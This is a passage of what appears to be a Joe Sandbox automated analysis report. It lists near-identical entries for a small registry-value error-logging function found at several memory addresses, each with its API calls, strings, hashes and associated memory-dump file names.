Opcode Fuzzy Hash: c0cddd2865619a54ec6232293f106fb97064ae862a9b86bbce8474b1505a66a2
Instruction Fuzzy Hash: 96F09662B0874642E5628F08B9807797264FF68795F480136FF5DC66A4EF3CD9999300

Function 00007FF6BE03581D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF6BE0358CD

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_get_value, xrefs: 00007FF6BE035916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 0879c6a44524d8b251e147b057380ee73abba84e16f301a98f496365444c6721
Instruction ID: 1e30508467856541204ff945ab6963df07293f3ef69fe627b20dbf90d075b876
Opcode Fuzzy Hash: 0879c6a44524d8b251e147b057380ee73abba84e16f301a98f496365444c6721
Instruction Fuzzy Hash: 86F0F622B0870642E5628F08B9807797264EF68795F480236FF4DC66A0EF3CD9999300

Function 00007FF6BE0358AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF6BE0358CD

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_get_value, xrefs: 00007FF6BE035916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 26abaf404a186cce4437ed2da7a72a2f3e0e06abd906e563cf0bcb7fe33f66ef
Instruction ID: bbb4499f8ed8ef8f4653617f29e81f4383dec73864d55192201c093877f553ff
Opcode Fuzzy Hash: 26abaf404a186cce4437ed2da7a72a2f3e0e06abd906e563cf0bcb7fe33f66ef
Instruction Fuzzy Hash: 93F09662B0874642E5628F08B9807797264EF68795F480136FF5DC66A4EF3CD9999300

Function 00007FF6BE0358BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF6BE0358CD

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_get_value, xrefs: 00007FF6BE035916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 2421130e589a518d8d6a899e34f192d6eae1fdef6248c36e69ef4aa482b17227
Instruction ID: 1ae7d46490dab7f66c29f6c0e5f02e510c52921918caff1f77b6a78efe3b77a9
Opcode Fuzzy Hash: 2421130e589a518d8d6a899e34f192d6eae1fdef6248c36e69ef4aa482b17227
Instruction Fuzzy Hash: 0EF09662B0874642E5628F08B9807797264EF68795F480136FF5DC66A4EF3CD9999700

Function 00007FF6BE035938 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF6BE0358CD

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_get_value, xrefs: 00007FF6BE035916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF6BE03591D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 0ea0f9f3e0855ebec4d02b887b4cf1966552980e8b767d39c0e2875b2443d339
Instruction ID: 4199eae75add54dda9b687bc40969ae149288fa00b1ffe8a10ef9c47c0441d1f
Opcode Fuzzy Hash: 0ea0f9f3e0855ebec4d02b887b4cf1966552980e8b767d39c0e2875b2443d339
Instruction Fuzzy Hash: CFF09662B0874642E5628F08B9807797264FF68795F480236FF5DC66A4EF3CD999A300

Function 00007FF8BA4F8927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA4F89CD

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

registry_get_value, xrefs: 00007FF8BA4F8A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: d70ce53f65cbd76b3d812b6a3b7d7fa9ae657fd1b9d78e245efc284ed06115be
Instruction ID: 3e1c6ad41886f5357b222c9f7c952e18a52d00739c72f353d49f1b9788ed9ef5
Opcode Fuzzy Hash: d70ce53f65cbd76b3d812b6a3b7d7fa9ae657fd1b9d78e245efc284ed06115be
Instruction Fuzzy Hash: D9F096A260860682E6628F48BC807756354BF457E5F48017AEF4D4A6A0EF3EEA899300

Function 00007FF8BA4F891D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA4F89CD

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

registry_get_value, xrefs: 00007FF8BA4F8A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: df9030146c483eeb1c42cd23e8c33ca0e0a20dd8f7b5618f4459904781ca7a31
Instruction ID: ae5b54a2f91d97753da132aea2af3ec79c69aea597315cb971f608ff3101f2ab
Opcode Fuzzy Hash: df9030146c483eeb1c42cd23e8c33ca0e0a20dd8f7b5618f4459904781ca7a31
Instruction Fuzzy Hash: 31F0B15270C70641E5518F4CBC407757354BF457D5F480175EF4D4A690EF3EDA499300

Function 00007FF8BA4F89BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA4F89CD

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

registry_get_value, xrefs: 00007FF8BA4F8A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: e6d6454d9d8ed6389c828c79f8ce65ad1eb9fe4b924b38bced701f5c03ddeb45
Instruction ID: 3e1052f18093d18c5877437656dfe6738b6fa5e36ccbf14346f9fd40e4a8a2a8
Opcode Fuzzy Hash: e6d6454d9d8ed6389c828c79f8ce65ad1eb9fe4b924b38bced701f5c03ddeb45
Instruction Fuzzy Hash: 03F0B15270C70642E5518F4CBC407757354BF457D5F480176EF4D4A690DF3EDA499700

Function 00007FF8BA4F89AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA4F89CD

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

registry_get_value, xrefs: 00007FF8BA4F8A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1683aa44052c06ac712ff3a27e6fe50b9ff14011bc9dd6c1858f5456d2b15749
Instruction ID: a749a143dd671a18bc01b1a3c1f5db27eab18df99053a79d7907a43525fcb360
Opcode Fuzzy Hash: 1683aa44052c06ac712ff3a27e6fe50b9ff14011bc9dd6c1858f5456d2b15749
Instruction Fuzzy Hash: 49F096A260870682E6628F48BC807756354AF457E5F48017AEF4D4A6A0EF3EEA899300

Function 00007FF8BA4F8A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BA4F89CD

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

registry_get_value, xrefs: 00007FF8BA4F8A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 335d1d3817ec4d55ff377caf703831ab7f6be45e12ce3a8728bfb007799e5078
Instruction ID: f8a0dd6171220db080a4657ebd17450e0e66495399d2f8a7f6c1ca997e4d1760
Opcode Fuzzy Hash: 335d1d3817ec4d55ff377caf703831ab7f6be45e12ce3a8728bfb007799e5078
Instruction Fuzzy Hash: 4EF096A260870682E6628F48BC807756354BF457E5F48027AEF4D4A6A0EF3EDA899300

Function 00007FF8B915B418 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
registry_get_value, xrefs: 00007FF8B915B3F6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 29437ac4afbfda1d0549fadbdcd205bb5e1de10d9f53cd31b8a2290d1309ccbd
Instruction ID: 74429e1f76944a5e09356b704ab23aa6a6212c393a85389d950b6235482401ca
Opcode Fuzzy Hash: 29437ac4afbfda1d0549fadbdcd205bb5e1de10d9f53cd31b8a2290d1309ccbd
Instruction Fuzzy Hash: 39F09662A1878642E5528F18F8403756254FF447E4F198236DF4D87690EF2CF989F700

Function 00007FF8B915B2FD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
registry_get_value, xrefs: 00007FF8B915B3F6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: cace5ebabb9363b8966dec080f45c5113ce0fff2ffdb2ee5c196495c6adaa64c
Instruction ID: 4a759241da14da64db076c28c99972bda0f9c313e3dd72f4964756aec9ee2d21
Opcode Fuzzy Hash: cace5ebabb9363b8966dec080f45c5113ce0fff2ffdb2ee5c196495c6adaa64c
Instruction Fuzzy Hash: 80F09062A1878A82E5528F18B8403B96254FF457E4F598236EF4D87690EF2CF989E700

Function 00007FF8B915B307 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
registry_get_value, xrefs: 00007FF8B915B3F6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 94c313a93f3fcc94334b073feae1166a67dda0c898543ef0da23008a7acd5d45
Instruction ID: 3aec7a6c73b3824081ee5b6c46e0b6d8796d8e6b23bdcbb4fede6599e1dd3204
Opcode Fuzzy Hash: 94c313a93f3fcc94334b073feae1166a67dda0c898543ef0da23008a7acd5d45
Instruction Fuzzy Hash: 02F09062A1878A82E5528F18FC403B96254FF457E4F598236EF4D87690EF2CF989A700

Function 00007FF8B915B39C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
registry_get_value, xrefs: 00007FF8B915B3F6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: a6dc7d9a45d4f0885938b8d6bee443f9b6c71ed4e1913be312bb925606633a80
Instruction ID: ba3e34913068421b90eb1d7be8f986b3289a8f101b106263f7b56e494a9a344a
Opcode Fuzzy Hash: a6dc7d9a45d4f0885938b8d6bee443f9b6c71ed4e1913be312bb925606633a80
Instruction Fuzzy Hash: C6F09062A1878A82E5528F18B8403B96254FF457E4F598236EF4D87690EF2CF989E700

Function 00007FF8B915B38E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B915B3AD

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
registry_get_value, xrefs: 00007FF8B915B3F6

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 43a66c7a40e50f2705813a1cfc1b0f86665661e007711cb612dbde3ccfe57ede
Instruction ID: 100a31e855ac35467210143eb3b9aa4aaf5623f089f314565573440b2f2f62bd
Opcode Fuzzy Hash: 43a66c7a40e50f2705813a1cfc1b0f86665661e007711cb612dbde3ccfe57ede
Instruction Fuzzy Hash: 04F09662A1878642E5538F18BC403796254FF457E4F598236DF4D87690EF2CF985E700

Function 00007FF8B918268D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 0ca799fca6bbcb1757cbcc2dcca85249b25f476f8fa3a6e87312bd06e934d07b
Instruction ID: 3ad469e133cbf741c7e98f467054f27528fef1372f08fb528ad6300068a82333
Opcode Fuzzy Hash: 0ca799fca6bbcb1757cbcc2dcca85249b25f476f8fa3a6e87312bd06e934d07b
Instruction Fuzzy Hash: 58F0F622A0878642E5538F0CB8803757244BF407E4F494635DF5D46691EF3DD986B300

Function 00007FF8B9182697 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

